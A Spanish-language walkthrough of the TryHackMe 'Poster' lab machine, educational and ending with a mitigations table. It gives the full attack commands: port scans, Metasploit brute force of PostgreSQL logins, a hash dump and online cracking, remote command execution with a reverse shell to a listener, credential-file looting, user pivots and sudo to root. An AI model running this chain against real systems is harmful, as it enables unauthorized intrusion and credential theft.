Poster - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
Poster - TryHackMe Walkthrough
Bienvenido a mi writeup de Poster de TryHackMe. Una máquina de dificultad fácil que se enfoca en la explotación de una base de datos PostgreSQL expuesta en red. La cadena de ataque progresa desde bruteforce de credenciales en PostgreSQL, crackeo de hashes MD5, ejecución remota de comandos via Metasploit, y múltiples pivoting entre usuarios hasta alcanzar root a través de sudoers mal configurado.
Room: Poster
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root
🎯 Información del Objetivo
IP Target: 10.112.140.65
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Comienzo verificando si la máquina está activa:
ping -c1 10.112.140.6564 bytes from 10.112.140.65: icmp_seq=1 ttl=62 time=47.3 ms
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
La máquina responde con TTL=62, indicando que estamos ante un sistema Linux.
Escaneo de Puertos
Realizo un escaneo amplio para identificar puertos abiertos:
nmap -p- --open --min-rate 5000 -sS -Pn -n 10.112.140.65-p-→ Escanea todos los 65535 puertos--open→ Muestra solo puertos abiertos--min-rate 5000→ Mínimo 5000 paquetes por segundo-sS→ SYN scan (stealth)-Pn→ Sin ping previo-n→ Sin resolución DNS
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 5432/tcp open postgresql
Encuentro tres puertos abiertos: SSH, HTTP y PostgreSQL. Realizo escaneo detallado de versiones:
nmap -p22,80,5432 -sCV 10.112.140.65-sC→ Scripts NSE por defecto-sV→ Detección de versiones
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Poster CMS |_http-server-header: Apache/2.4.18 (Ubuntu) 5432/tcp open postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23 | ssl-cert: Subject: commonName=ubuntu | Not valid before: 2020-07-29T00:54:25 |_Not valid after: 2030-07-27T00:54:25
El mapa de servicios:
- Puerto 22 → SSH (OpenSSH 7.2p2)
- Puerto 80 → HTTP (Apache 2.4.18) — "Poster CMS"
- Puerto 5432 → PostgreSQL 9.5 — Expuesto en red 🚨
La presencia de PostgreSQL expuesto en red puede ser interesante.
📁 Fase 2: Enumeración
Exploración del Sitio Web
Accedo al puerto 80 para ver qué hay en la página principal:

Veo un formulario simple para introducir un email. No encuentro:
robots.txt- Cookies relevantes
- Comentarios en el código fuente
- Directorios enumerable obvios
La página parecerce ser un simple formulario sin lógica explotable evidente.
Intento: Enumeración Web Inicial
Intento enumerar directorios y archivos comunes:
gobuster dir -u http://10.112.140.65 -w /usr/share/wordlists/dirb/common.txtNo descubro nada interesante. Esto sugiere que la explotación no viene por la web tradicional.
Enfoque en PostgreSQL
PostgreSQL está abierto directamente en red, lo que es inusual y peligroso. Es probable que esta sea la vía de ataque. Procedo a enumerar este servicio antes de continuar con web fuzzing.
🔓 Fase 3: Explotación PostgreSQL
Bruteforce de Credenciales PostgreSQL
La room sugiere usar Metasploit. Accedo a msfconsole y busco un módulo para bruteforce en PostgreSQL:
use auxiliary/scanner/postgres/postgres_login
set RHOSTS 10.112.140.65
run
Rápidamente obtengo credenciales válidas:
Username: postgres
Password: passwordObtención de Información de la Base de Datos
Con credenciales válidas, utilizo otro módulo en metasploit para ejecutar comandos SQL:
use auxiliary/admin/postgres/postgres_sql
set RHOSTS 10.112.140.65
set USERNAME postgres
set PASSWORD password
set SQL select version()
runPostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit
Confirmo el acceso a la base de datos.
Extracción de Hashes de Usuarios
Utilizo el módulo de dumping de hashes PostgreSQL:
use auxiliary/scanner/postgres/postgres_hashdump
set RHOSTS 10.112.140.65
set USERNAME postgres
set PASSWORD password
runObtengo los siguientes hashes:
darkstart : md58842b99375db43e9fdf238753623a27d
poster : md578fb805c7412ae597b399844a54cce0a
postgres : md532e12f215ba27cb750c9e093ce4b5127
sistemas : md5f7dbc0d5a06653e74da6b1af9290ee2b
ti : md57af9ac4c593e9e4f275576e13f935579
tryhackme : md503aab1165001c8f8ccae31a8824efddcGenial, he conseguido 6 hashes diferentes. Viendo el formato deduzco que son hashes MD5.
Necesito pasar estos hashes a texto plano. Puedo usar tanto herramientas en local como hashcat o JohnTheRipper, pero primero siempre me gusta probar por herramientas online de Rainbow databases como Crackstation o Hashes.com
Crackeo de Hashes MD5
Voy a intentar crackearlos con múltiples recursos online para tener mayor cobertura.
Intento 1: Crackstation

Crackstation solo resuelve uno de los hashes:
poster→batmanposter
Intento 2: Hashes.com

Con una segunda opinión de Hashes.com obtengo más resultados:
darkstart→qwertydarkstartposter→batmanposterpostgres→passwordpostgresti→abcd1234ti
Intento 3: MD5Decrypt

MD5Decrypt me devuelve también algunos hashes, pero no todos.
Ejecución Remota de Comandos PostgreSQL
Ya tengo más usuarios para poder conectarme a la base de datos. Utilizo un módulo de Metasploit que permite ejecutar comandos en el sistema:
use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
set RHOSTS 10.112.140.65
set USERNAME postgres
set PASSWORD password
set LHOST 192.168.139.157
set LPORT 4455
runRápidamente obtengo una reverse shell como el usuario postgres.
Stabilización de la Shell
Realizo tratamiento de TTY para tener una shell funcional:
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xtermVerifico mi usuario:
iduid=108(postgres) gid=112(postgres) groups=112(postgres)
Estoy como usuario postgres en el servidor.
🚀 Fase 4: Post-Explotación
Pivoting de usuario
El usuario postgres no tiene grandes privilegios, por lo que busco la forma de pivotar a otros usuarios.
Busco información en el sistema pero no encuentro nada relevante, hasta que me da por mirar en los directorios de trabajo.
En el directorio home veo un directorio de trabajo del usuario dark. Tengo permisos de lectura, por lo que entro y encuentro un archivo de credenciales:
cat /home/dark/credentials.txtdark:qwerty1234#!hackme
Intento pivotar al usuario dark:
su darkIngreso la contraseña y obtengo acceso como usuario dark.
Siendo usuario dark, veo que el usuario alison tiene en su directorio de trabajo un archivo user.txt, pero que no tengo permisos de lectura para ver su contenido.
Pivoting de usuario 2
Necesito explorar el sistema y pivotar al usuario alison.
Tras un rato de explorando el sistema, caigo en que podría explorar el servicio web en busca de pistas.
Investigo el directorio de la aplicación web en /var/www/html:
ls -la /var/www/html/Encuentro un archivo config.php interesante:
cat /var/www/html/config.php
¡Excelente! Encuentro credenciales para usuario alison:
- Usuario:
alison - Contraseña:
p4ssw0rdS3cur3!#
Intento pivotar a este usuario ejecutando su alison e introduciendo las credenciales encontradas.
su alison¡Éxito! Estoy como usuaria Alison. Ya puedo leer la user flag.
🚩 User Flag
Ahora que soy usuario alison, puedo leer la flag en su directorio home:
⬆️ Escalada de Privilegios
Compruebo los permisos de sudo para el usuario alison:
sudo -lUser alison may run the following commands on ubuntu: (ALL : ALL) ALL
El usuario alison puede ejecutar cualquier comando como root sin restricciones. Es una escalada directa:
sudo suObtengo una shell como root.
🚩 Root Flag
Accedo a la flag de root:
cat /root/root.txtFlag de root capturada.
📊 Resumen
Cadena de Ataque
nmap 3 puertos (SSH, HTTP, PostgreSQL) → PostgreSQL expuesto → Metasploit bruteforce credenciales → Extracción hashes MD5 usuarios → Crackeo online → Metasploit RCE → Reverse shell como postgres → Pivoting dark → Pivoting alison → sudo -l (ALL:ALL) → root
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y versiones
- Metasploit Framework — Bruteforce PostgreSQL, dumping hashes, RCE
- Crackstation — Crackeo de hashes MD5 online
- Hashes.com — Crackeo alternativo de hashes
- MD5Decrypt — Tercer servicio de crackeo para confirmación
- netcat — Reverse shell listener
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| PostgreSQL expuesto directamente en red | CRÍTICA | Firewalls; restringir acceso a base de datos; limitar a localhost |
| Credenciales por débiles en PostgreSQL | CRÍTICA | Cambiar contraseña por defecto; usar credenciales fuertes |
| Hashes MD5 para almacenar contraseñas | CRÍTICA | Usar algoritmos modernos como Argon2 o bcrypt |
| Credenciales en código fuente | ALTA | Usar variables de entorno; gestores de secretos; nunca versionar credenciales |
| Credenciales en archivos de texto plano en home | ALTA | Usar gestores de secretos; permisos restrictivos en archivos |
| Usuario alison con sudoers (ALL:ALL) | CRÍTICA | Usar principio de menor privilegio; segmentar permisos sudo |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.